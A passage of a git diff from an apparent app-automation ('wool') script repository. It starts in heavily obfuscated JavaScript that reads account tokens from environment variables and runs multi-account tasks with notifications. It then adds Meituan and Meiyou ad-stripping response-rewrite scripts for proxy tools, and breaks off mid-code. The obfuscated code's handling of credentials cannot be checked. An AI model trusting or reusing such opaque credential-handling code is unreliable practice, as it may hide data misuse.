69\x73\x74']?.[_0x53271b(0x326b)+'\x68'])_0x507765=_0x17d3ed[_0x53271b(0x1e0)+_0x53271b(0x2ce3)];for(let _0x450497 of _0x17d3ed?.['\x73\x71\x73\x71\x49'+'\x64\x4c\x69\x73\x74']||[]){!_0xe6123e[_0x53271b(0x13b6)+'\x64\x65\x73'](_0x450497)&&_0xe6123e[_0x53271b(0x1ca9)](_0x450497);}for(let _0x127dff of _0x17d3ed?.[_0x53271b(0x117e)+'\x6e\x49\x64\x4c\x69'+'\x73\x74']||[]){!_0x5298f7[_0x53271b(0x13b6)+_0x53271b(0xf9b)](_0x127dff)&&_0x5298f7[_0x53271b(0x1ca9)](_0x127dff);}for(let _0x42c94e of _0x17d3ed?.[_0x53271b(0x921)+'\x69\x67\x6e\x49\x64'+'\x4c\x69\x73\x74']||[]){!_0xcc2115[_0x53271b(0x13b6)+_0x53271b(0xf9b)](_0x42c94e)&&_0xcc2115[_0x53271b(0x1ca9)](_0x42c94e);}}}catch(_0x52b8de){_0x18d7a9[_0x53271b(0x3e5)](_0x52b8de);}finally{return _0x2b11da;}}function _0x3220d1(_0x1731cb){const _0xbe4202=_0xcdce93,_0x29057d={'\x58\x4a\x6c\x65\x71':_0xbe4202(0x2a39)+_0xbe4202(0x1e32)+_0xbe4202(0x198c),'\x57\x72\x76\x53\x55':function(_0x3badf3,_0x41e9f0){return _0x3badf3+_0x41e9f0;},'\x79\x72\x5a\x58\x6b':function(_0x3b1a81,_0x1df960){return _0x3b1a81<_0x1df960;},'\x78\x45\x76\x6c\x68':function(_0x27b04d,_0x51f156){return _0x27b04d+_0x51f156;},'\x56\x63\x53\x6e\x44':function(_0x4bca0b,_0x20d269){return _0x4bca0b/_0x20d269;},'\x6f\x76\x47\x65\x68':function(_0x18241c,_0xe5dc0e){return _0x18241c+_0xe5dc0e;},'\x67\x66\x4e\x6b\x5a':function(_0x1e7e69,_0x28d5e9){return _0x1e7e69+_0x28d5e9;},'\x46\x45\x75\x53\x4c':function(_0x21336f,_0x3b60c6){return _0x21336f-_0x3b60c6;},'\x52\x61\x57\x6d\x57':function(_0x44a9c6,_0x112808){return _0x44a9c6+_0x112808;},'\x6b\x73\x6c\x4c\x55':function(_0x1e42b6,_0xe4e748){return _0x1e42b6==_0xe4e748;},'\x56\x64\x4b\x63\x70':function(_0x320134,_0x4726ff){return _0x320134(_0x4726ff);},'\x41\x47\x67\x70\x78':_0xbe4202(0x334d)+_0xbe4202(0x33ba)+'\x66\x79','\x46\x49\x7a\x52\x7a':_0xbe4202(0x85e)+_0xbe4202(0x1f65)+'\x3d\x3d\x3d\x3d\x3d'+_0xbe4202(0x3cb)+'\x3d\x3d\x3d\x3d\x3d'+_0xbe4202(0x1f65)+_0xbe4202(0x130a),'\x55\x70\x6a\x73\x4a':function(_0x579ee2,_0x1e11aa){return _0x579ee2>_0x1e11aa;},'\x4a\x50\x58\x6e\x43':function(_0x56692f,_0x99e8fe){return _0x56692f-_0x99e8fe;},'\x6b\x51\x65\x58\x70':function(_0x163b73,_0x3c99ab){return _0x163b73==_0x3c99ab;},'\x79\x6c\x4c\x47\x59':function(_0x106d96,_0x1b26c6){return _0x106d96&&_0x1b26c6;},'\x6a\x62\x4c\x6c\x72':function(_0x168396,_0x44c01c){return _0x168396==_0x44c01c;},'\x48\x67\x44\x45\x77':function(_0x450fa7,_0x3650f8){return _0x450fa7*_0x3650f8;},'\x52\x78\x42\x5a\x50':function(_0x94cd3e,_0x2641fd){return _0x94cd3e/_0x2641fd;},'\x45\x61\x69\x77\x53':function(_0x1f4be1,_0x1d9c8b){return _0x1f4be1<_0x1d9c8b;},'\x6a\x4b\x43\x65\x69':function(_0x808b9c,_0x40a685){return _0x808b9c-_0x40a685;}};return new class{constructor(_0x3cc014){const _0x431cc8=_0xbe4202,_0x53629f=_0x29057d[_0x431cc8(0x1d2)][_0x431cc8(0x1e06)]('\x7c');let _0xb1d55=-0x1*0x11b+-0x1539+-0x4*-0x595;while(!![]){switch(_0x53629f[_0xb1d55++]){case'\x30':this[_0x431cc8(0x1f61)+_0x431cc8(0x1efa)]=[];continue;case'\x31':const _0x52197f={};_0x52197f[_0x431cc8(0xa8f)]=!![],this[_0x431cc8(0x3e5)]('\x5b'+this[_0x431cc8(0x1131)]+(_0x431cc8(0xca)+'\x0a'),_0x52197f);continue;case'\x32':this[_0x431cc8(0x2773)+_0x431cc8(0x2ce3)]=[];continue;case'\x33':this[_0x431cc8(0x310a)+'\x64\x78']=-0x1ae6+-0x3*-0x605+0x1*0x8d7;continue;case'\x34':this[_0x431cc8(0x208f)+_0x431cc8(0x1391)]=-0x1*-0x164e+0x1905+-0x2f53;continue;case'\x35':this[_0x431cc8(0x1f61)+_0x431cc8(0x2aa4)]=!![];continue;case'\x36':this[_0x431cc8(0x2bd0)+'\x54\x69\x6d\x65']=Date[_0x431cc8(0x3a9)]();continue;case'\x37':this[_0x431cc8(0x1131)]=_0x3cc014;continue;}break;}}['\x6c\x6f\x67'](_0x3bc3c9,_0x36b2f2={}){const _0x11195d=_0xbe4202,_0x5ca691={};_0x5ca691[_0x11195d(0x16e6)+'\x6c\x65']=!![];let _0x1aab79=_0x5ca691;Object[_0x11195d(0x2504)+'\x6e'](_0x1aab79,_0x36b2f2);if(_0x1aab79[_0x11195d(0xa8f)]){let _0x5ce811=_0x1aab79[_0x11195d(0xde6)]||_0x11195d(0x3323)+'\x3a\x73\x73';_0x3bc3c9=_0x29057d[_0x11195d(0xff4)]('\x5b'+this[_0x11195d(0xa8f)](_0x5ce811)+'\x5d',_0x3bc3c9);}if(_0x1aab79[_0x11195d(0x1f61)+'\x79'])this[_0x11195d(0x1f61)+_0x11195d(0x1efa)][_0x11195d(0x1ca9)](_0x3bc3c9);if(_0x1aab79[_0x11195d(0x16e6)+'\x6c\x65'])console[_0x11195d(0x3e5)](_0x3bc3c9);}[_0xbe4202(0x1e7d)+_0xbe4202(0x1fd2)](_0x499370){const _0x353e0c=_0xbe4202;let _0x103bdf=_0x35d84e[_0x353e0c(0x24c1)](_0x262ab5=>process['\x65\x6e\x76'][_0x262ab5]);for(let _0x56da8d of _0x103bdf[_0x353e0c(0x3c3)+'\x72'](_0xdc1a2e=>!!_0xdc1a2e)){let _0x4337ab=_0x2e7b8f[_0x353e0c(0x3c3)+'\x72'](_0x1f7db2=>_0x56da8d[_0x353e0c(0x13b6)+_0x353e0c(0xf9b)](_0x1f7db2)),_0x2cb18a=_0x4337ab['\x6c\x65\x6e\x67\x74'+'\x68']>0x74b*-0x5+-0x242+-0x26b9*-0x1?_0x4337ab[-0x1efd*0x1+0x8dd*0x1+-0x20*-0xb1]:_0x2e7b8f[-0x215d+-0x1*0xde7+-0x1e4*-0x19];for(let _0x2f9530 of _0x56da8d['\x73\x70\x6c\x69\x74'](_0x2cb18a)[_0x353e0c(0x3c3)+'\x72'](_0x2c12dc=>!!_0x2c12dc)){this['\x75\x73\x65\x72\x4c'+'\x69\x73\x74'][_0x353e0c(0x1ca9)](new _0x499370(_0x2f9530));}}this[_0x353e0c(0x208f)+_0x353e0c(0x1391)]=this[_0x353e0c(0x2773)+'\x69\x73\x74'][_0x353e0c(0x326b)+'\x68'];if(!this[_0x353e0c(0x208f)+'\x6f\x75\x6e\x74']){const _0x228afd={};return _0x228afd[_0x353e0c(0x1f61)+'\x79']=!![],this['\x6c\x6f\x67'](_0x353e0c(0x1a30)+_0x353e0c(0x2790)+'\u91cf'+_0x35d84e[_0x353e0c(0x24c1)](_0x5501fb=>'\x5b'+_0x5501fb+'\x5d')['\x6a\x6f\x69\x6e']('\u6216'),_0x228afd),![];}return this['\x6c\x6f\x67'](_0x353e0c(0x1684)+this[_0x353e0c(0x208f)+_0x353e0c(0x1391)]+_0x353e0c(0x2ad)),!![];}async[_0xbe4202(0x2a71)+'\x64\x73'](_0x381bf4,_0x2ad8f4,_0x3828e9={}){const _0x57a963=_0xbe4202;while(_0x29057d[_0x57a963(0x3074)](_0x2ad8f4[_0x57a963(0x37a)],_0x18d7a9[_0x57a963(0x2773)+_0x57a963(0x2ce3)][_0x57a963(0x326b)+'\x68'])){let _0x522033=_0x18d7a9['\x75\x73\x65\x72\x4c'+'\x69\x73\x74'][_0x2ad8f4[_0x57a963(0x37a)]++];if(!_0x522033[_0x57a963(0x1d98)])continue;await _0x522033[_0x381bf4](_0x3828e9);}}async[_0xbe4202(0x2a71)+_0xbe4202(0x2362)](_0x2dd4ac,_0x5e253e){const _0x467505=_0xbe4202;let _0x4a0efd=[];const _0x30c268={};_0x30c268['\x69\x64\x78']=0x0;let _0x49ee5d=_0x30c268;while(_0x5e253e--)_0x4a0efd[_0x467505(0x1ca9)](this['\x74\x68\x72\x65\x61'+'\x64\x73'](_0x2dd4ac,_0x49ee5d));await Promise['\x61\x6c\x6c'](_0x4a0efd);}[_0xbe4202(0xa8f)](_0x155b4a,_0x3db5ba=null){const _0x53713e=_0xbe4202;let _0x4d18cb=_0x3db5ba?new Date(_0x3db5ba):new Date(),_0x2da07a={'\x4d\x2b':_0x29057d['\x78\x45\x76\x6c\x68'](_0x4d18cb[_0x53713e(0x2b01)+'\x6e\x74\x68'](),0x833+0x2264+0x9e*-0x45),'\x64\x2b':_0x4d18cb[_0x53713e(0x215f)+'\x74\x65'](),'\x68\x2b':_0x4d18cb['\x67\x65\x74\x48\x6f'+_0x53713e(0x782)](),'\x6d\x2b':_0x4d18cb[_0x53713e(0x1358)+_0x53713e(0x218c)](),'\x73\x2b':_0x4d18cb[_0x53713e(0x167d)+'\x63\x6f\x6e\x64\x73'](),'\x71\x2b':Math['\x66\x6c\x6f\x6f\x72'](_0x29057d[_0x53713e(0x319f)](_0x29057d[_0x53713e(0x229f)](_0x4d18cb['\x67\x65\x74\x4d\x6f'+_0x53713e(0x51d)](),-0x983*0x1+0xf*0x3a+0x7*0xe0),-0xc99+-0x459*-0x6+-0xd7a)),'\x53':this[_0x53713e(0x20b8)+'\x72'](_0x4d18cb[_0x53713e(0x1358)+_0x53713e(0x27df)+_0x53713e(0x2012)](),0x27a*0x9+0x2*-0xcdd+-0x1*-0x373)};/(y+)/[_0x53713e(0x246a)](_0x155b4a)&&(_0x155b4a=_0x155b4a[_0x53713e(0x13d5)+'\x63\x65'](RegExp['\x24\x31'],_0x29057d['\x67\x66\x4e\x6b\x5a'](_0x4d18cb['\x67\x65\x74\x46\x75'+_0x53713e(0xcd9)+'\x72'](),'')[_0x53713e(0x6ff)+'\x72'](_0x29057d['\x46\x45\x75\x53\x4c'](-0x1309+-0x1eb5+0x31c2,RegExp['\x24\x31'][_0x53713e(0x326b)+'\x68']))));for(let _0x14b7d5 in _0x2da07a)new RegExp(_0x29057d[_0x53713e(0x73d)]('\x28'+_0x14b7d5,'\x29'))[_0x53713e(0x246a)](_0x155b4a)&&(_0x155b4a=_0x155b4a[_0x53713e(0x13d5)+'\x63\x65'](RegExp['\x24\x31'],_0x29057d[_0x53713e(0x2c08)](0x733+-0x206f+0x193d,RegExp['\x24\x31']['\x6c\x65\x6e\x67\x74'+'\x68'])?_0x2da07a[_0x14b7d5]:('\x30\x30'+_0x2da07a[_0x14b7d5])[_0x53713e(0x6ff)+'\x72']((''+_0x2da07a[_0x14b7d5])[_0x53713e(0x326b)+'\x68'])));return _0x155b4a;}async[_0xbe4202(0xea0)+'\x73\x67'](){const _0x352d6d=_0xbe4202;if(!this['\x6e\x6f\x74\x69\x66'+_0x352d6d(0x2aa4)])return;if(!this[_0x352d6d(0x1f61)+'\x79\x53\x74\x72'][_0x352d6d(0x326b)+'\x68'])return;var _0x5a3f5d=_0x29057d[_0x352d6d(0x1143)](require,_0x29057d[_0x352d6d(0x1130)]);this[_0x352d6d(0x3e5)](_0x29057d[_0x352d6d(0x4a1)]),await _0x5a3f5d[_0x352d6d(0x1e81)+_0x352d6d(0x234d)](this[_0x352d6d(0x1131)],this[_0x352d6d(0x1f61)+_0x352d6d(0x1efa)][_0x352d6d(0x3533)]('\x0a'));}[_0xbe4202(0x20b8)+'\x72'](_0x5e8f3d,_0x7df39,_0x124146={}){const _0x533662=_0xbe4202;let _0x1be93e=_0x124146[_0x533662(0x2359)+'\x6e\x67']||'\x30',_0x1df2b3=_0x124146[_0x533662(0x207d)]||'\x6c',_0x23b514=String(_0x5e8f3d),_0x10a748=_0x29057d[_0x533662(0x25b1)](_0x7df39,_0x23b514[_0x533662(0x326b)+'\x68'])?_0x29057d['\x4a\x50\x58\x6e\x43'](_0x7df39,_0x23b514[_0x533662(0x326b)+'\x68']):-0xa6*-0x16+0x4e*-0x1+-0xdf6,_0x380117='';for(let _0x2e1d9e=-0x2*-0x3ce+0x2302+0x2*-0x154f;_0x29057d[_0x533662(0x3074)](_0x2e1d9e,_0x10a748);_0x2e1d9e++){_0x380117+=_0x1be93e;}return _0x29057d[_0x533662(0x7d3)](_0x1df2b3,'\x72')?_0x23b514=_0x23b514+_0x380117:_0x23b514=_0x380117+_0x23b514,_0x23b514;}[_0xbe4202(0x10f)+_0xbe4202(0x2c1b)](_0xea6ca6,_0x26b690,_0x4a4c1d=![]){const _0x5040b1=_0xbe4202;let _0x4b2917=[];for(let _0x1dc2e0 of Object[_0x5040b1(0xab4)](_0xea6ca6)[_0x5040b1(0x2f3d)]()){let _0x50f917=_0xea6ca6[_0x1dc2e0];if(_0x29057d[_0x5040b1(0x88c)](_0x50f917,_0x4a4c1d))_0x50f917=_0x29057d[_0x5040b1(0x1143)](encodeURIComponent,_0x50f917);_0x4b2917['\x70\x75\x73\x68'](_0x1dc2e0+'\x3d'+_0x50f917);}return _0x4b2917['\x6a\x6f\x69\x6e'](_0x26b690);}[_0xbe4202(0x2ae2)+_0xbe4202(0xdb2)](_0x232275,_0x508426=![]){const _0x57bde4=_0xbe4202;let _0x5dc8a6={};for(let _0x1c9b70 of _0x232275[_0x57bde4(0x1e06)]('\x26')){if(!_0x1c9b70)continue;let _0x17c7e9=_0x1c9b70[_0x57bde4(0x160)+'\x4f\x66']('\x3d');if(_0x17c7e9==-(0x1*-0x1127+0x3a*-0x6b+0x2966))continue;let _0x17cec7=_0x1c9b70[_0x57bde4(0x6ff)+'\x72'](-0xb5d*-0x3+0x1145+-0x13*0x2b4,_0x17c7e9),_0x2796c6=_0x1c9b70[_0x57bde4(0x6ff)+'\x72'](_0x29057d['\x78\x45\x76\x6c\x68'](_0x17c7e9,0x147f+0x228f+0x370d*-0x1));if(_0x508426)_0x2796c6=_0x29057d['\x56\x64\x4b\x63\x70'](decodeURIComponent,_0x2796c6);_0x5dc8a6[_0x17cec7]=_0x2796c6;}return _0x5dc8a6;}['\x72\x61\x6e\x64\x6f'+_0xbe4202(0x19da)+_0xbe4202(0x20a)](_0x57a31f,_0x44fba2=_0xbe4202(0x12b9)+_0xbe4202(0x795)+'\x34\x35\x36\x37\x38'+'\x39'){const _0x2bc207=_0xbe4202;let _0x3c5c3f='';for(let _0x3b39ad of _0x57a31f){if(_0x29057d[_0x2bc207(0x1da8)](_0x3b39ad,'\x78'))_0x3c5c3f+=_0x44fba2[_0x2bc207(0x2f54)+'\x74'](Math[_0x2bc207(0x27ea)](_0x29057d['\x48\x67\x44\x45\x77'](Math['\x72\x61\x6e\x64\x6f'+'\x6d'](),_0x44fba2[_0x2bc207(0x326b)+'\x68'])));else _0x3b39ad=='\x58'?_0x3c5c3f+=_0x44fba2['\x63\x68\x61\x72\x41'+'\x74'](Math[_0x2bc207(0x27ea)](Math[_0x2bc207(0x2c43)+'\x6d']()*_0x44fba2['\x6c\x65\x6e\x67\x74'+'\x68']))[_0x2bc207(0xebb)+_0x2bc207(0x9da)+'\x65']():_0x3c5c3f+=_0x3b39ad;}return _0x3c5c3f;}['\x72\x61\x6e\x64\x6f'+_0xbe4202(0x171f)+'\x6e\x67'](_0x2d3b98,_0x38d0c5=_0xbe4202(0x12b9)+_0xbe4202(0x795)+_0xbe4202(0xbaa)+'\x39'){const _0x21211e=_0xbe4202;let _0x3cca1d='';for(let _0x4767f9=0x1db6+0x1*-0x1b6e+-0x2*0x124;_0x29057d[_0x21211e(0x3074)](_0x4767f9,_0x2d3b98);_0x4767f9++){_0x3cca1d+=_0x38d0c5['\x63\x68\x61\x72\x41'+'\x74'](Math[_0x21211e(0x27ea)](_0x29057d[_0x21211e(0x670)](Math[_0x21211e(0x2c43)+'\x6d'](),_0x38d0c5['\x6c\x65\x6e\x67\x74'+'\x68'])));}return _0x3cca1d;}[_0xbe4202(0x2c43)+'\x6d\x4c\x69\x73\x74'](_0x39649b){const _0x87e7d1=_0xbe4202;let _0x191df3=Math[_0x87e7d1(0x27ea)](Math['\x72\x61\x6e\x64\x6f'+'\x6d']()*_0x39649b[_0x87e7d1(0x326b)+'\x68']);return _0x39649b[_0x191df3];}[_0xbe4202(0xb57)](_0x2820cd){return new Promise(_0x51b294=>setTimeout(_0x51b294,_0x2820cd));}async[_0xbe4202(0x2426)+'\x6f\x77'](){const _0x19fd3e=_0xbe4202;await this[_0x19fd3e(0xea0)+'\x73\x67']();let _0x1c1773=Date[_0x19fd3e(0x3a9)](),_0x42f55a=_0x29057d[_0x19fd3e(0x2fa1)](_0x29057d[_0x19fd3e(0x400)](_0x1c1773,this[_0x19fd3e(0x2bd0)+_0x19fd3e(0x867)]),-0x22e4+-0x144c+-0x1f*-0x1e8);this[_0x19fd3e(0x3e5)]('');const _0x1adabf={};_0x1adabf['\x74\x69\x6d\x65']=!![],this[_0x19fd3e(0x3e5)]('\x5b'+this['\x6e\x61\x6d\x65']+(_0x19fd3e(0x1278)+'\uff0c\u5171\u8fd0\u884c\u4e86')+_0x42f55a+'\u79d2',_0x1adabf),process['\x65\x78\x69\x74'](0x14e*-0x1d+-0x1160+0x3736);}[_0xbe4202(0x33ab)](_0x3684c7,_0x3b0680,_0x171cbb=''){const _0x109d72=_0xbe4202;let _0x286f54=_0x171cbb;return _0x3684c7?.[_0x109d72(0x319c)+'\x6e\x50\x72\x6f\x70'+_0x109d72(0x17da)](_0x3b0680)&&(_0x286f54=_0x3684c7[_0x3b0680]),_0x286f54;}[_0xbe4202(0x34af)](_0x29ac35,_0x7cb4da,_0x3bebcb=''){const _0x4d9a82=_0xbe4202;let _0x2c3234=_0x3bebcb;return _0x29ac35?.[_0x4d9a82(0x319c)+_0x4d9a82(0x2abc)+_0x4d9a82(0x17da)](_0x7cb4da)&&(_0x2c3234=_0x29ac35[_0x7cb4da],delete _0x29ac35[_0x7cb4da]),_0x2c3234;}[_0xbe4202(0xfb2)](_0x34ecb9){return Object['\x61\x73\x73\x69\x67'+'\x6e']({},_0x34ecb9);}async[_0xbe4202(0xeb8)+_0xbe4202(0x1ee)+'\x6e\x74\x65\x72\x76'+'\x61\x6c'](_0x5a8b7e,_0x4aae32){const _0x3ee928=_0xbe4202;let _0x614e85=Date[_0x3ee928(0x3a9)]()-_0x5a8b7e;_0x29057d[_0x3ee928(0xf35)](_0x614e85,_0x4aae32)&&await this[_0x3ee928(0xb57)](_0x29057d[_0x3ee928(0x7bd)](_0x4aae32,_0x614e85));}}(_0x1731cb);} \ No newline at end of file diff --git a/Scripts/meituan/meituan_ads.js b/Scripts/meituan/meituan_ads.js new file mode 100644 index 00000000..909b5aa4 --- /dev/null +++ b/Scripts/meituan/meituan_ads.js @@ -0,0 +1,18 @@ +/** + * @author fmz200 + * @function 美团去广告和多余模块 测试 + * @date 2024-02-22 20:20:13 + */ + +let requestUrl = $request.url; +let responseBody = $response.body; + +let obj = JSON.parse(responseBody); + +// https://ordercenter.meituan.com/ordercenter/user/showOrderDetail url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meituan/meituan_ads.js +if (requestUrl.includes("/ordercenter/user/showOrderDetail")) { + obj.data.partnerData.poiStatus = 0; + console.log('设置poiStatus为0💕'); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/meiyou/meiyou_ads.js b/Scripts/meiyou/meiyou_ads.js new file mode 100644 index 00000000..fa4222ca --- /dev/null +++ b/Scripts/meiyou/meiyou_ads.js @@ -0,0 +1,51 @@ +/** + * @author fmz200 + * @function 美柚app去广告&净化 + * @date 2025-05-16 09:20:00 + */ + +const $ = new Env("美柚app去广告&净化"); +let req_url = $request.url; +let rsp_body = "{}"; +// 检查 $response 是否已定义 +if (typeof $response !== 'undefined' && $response !== null) { + // 如果 $response 已定义且不为 null,则使用 $response.body + rsp_body = $response.body; +} + +let mod_rsp = rsp_body; +try { + mod_rsp = JSON.parse(rsp_body); + + if (req_url.includes("/api/configs?")) { + delete mod_rsp.data.meetyou_app_setting.root_tab.moneytab_title; + delete mod_rsp.data.meetyou_app_setting.root_tab.moneytab_icon; + delete mod_rsp.data.meetyou_app_setting.root_tab.moneytab_icon_highlighted; + } + + if (req_url.includes("/api/configs/batch?")) { + // 启动页图片 + delete mod_rsp.data.meetyou_app_setting.launch_page; + // 打开通知,及时接收重要消息 + delete mod_rsp.data.meetyou_app_setting.common; + + delete mod_rsp.data.meetyou_app_setting.root_tab.moneytab_title; + delete mod_rsp.data.meetyou_app_setting.root_tab.moneytab_icon; + delete mod_rsp.data.meetyou_app_setting.root_tab.moneytab_icon_highlighted; + } +} catch (error) { + console.log('脚本运行出现错误,部分广告未去除⚠️错误信息:' + error.message); +} + +/* +$done()方法参数说明: + $done(): 不传任何参数,表示放弃该请求,请求连接会直接断开 + $done({}): 空js对象,请求继续,任何请求参数不会有任何变化 + $done({ status:200, headers:{}, body:"xxx" }) + */ +$.done({body: JSON.stringify(mod_rsp)}); + + +/*********************************** ENV *************************************/ +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let 